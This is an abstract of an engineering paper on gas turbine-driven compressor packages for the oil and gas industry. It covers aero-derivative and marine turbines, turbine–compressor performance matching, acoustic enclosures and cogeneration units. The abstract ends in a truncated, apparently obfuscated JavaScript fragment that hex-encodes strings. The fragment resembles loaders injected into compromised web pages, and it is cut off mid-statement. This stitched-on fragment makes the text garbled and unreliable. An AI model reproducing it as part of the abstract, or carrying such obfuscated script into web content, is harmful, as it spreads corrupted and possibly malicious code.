Integration of energy systems in gas turbine-driven compressor packages for gas and oil industry

Abstract

The paper highlights the recent trends in development of gas turbine driven turbo-compressor packages for gas and oil industries and the main issues to be solved during the integration of their energy systems. The key features of aero-derivative and marine gas turbines as well as ways of their further improvement are described in the beginning of the paper. It is noted that modern aero-derivative and marine gas turbines for mechanical drive should combine the design features of industrial gas turbines and high efficient airfoil configurations of gas turbines for airborne applications. One of the most important problems being considered during the development of a high efficient turbocompressor unit is the performance match between the gas turbine and turbocompressor. The special method of matching their characteristics is briefly presented in this paper. This method is based on the evaluation of the integral turbocompressor unit efficiency and the criterion fuel efficiency. Finally some of the aspects of the development of acoustic enclosures, ventilation and exhaust systems of the turbocompressor packages as well as perspectives of the development of combo units for electric generation, cogeneration and refrigeration are presented. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=,o=0;o